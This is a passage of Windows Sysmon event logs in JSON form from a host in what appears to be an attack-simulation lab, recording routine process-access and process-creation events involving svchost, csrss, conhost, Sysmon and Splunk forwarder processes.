C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010B1CF0800}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010B1CF0800}","TargetProcessId":"2444","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.714\r\nProcessGuid: {90617006-4177-5F2D-0000-00107FD20800}\r\nProcessId: 884\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.714","ProcessGuid":"{90617006-4177-5F2D-0000-00107FD20800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4177-5F2D-0000-00107FD20800}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4177-5F2D-0000-00107FD20800}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4177-5F2D-0000-00107FD20800}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4177-5F2D-0000-00107FD20800}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 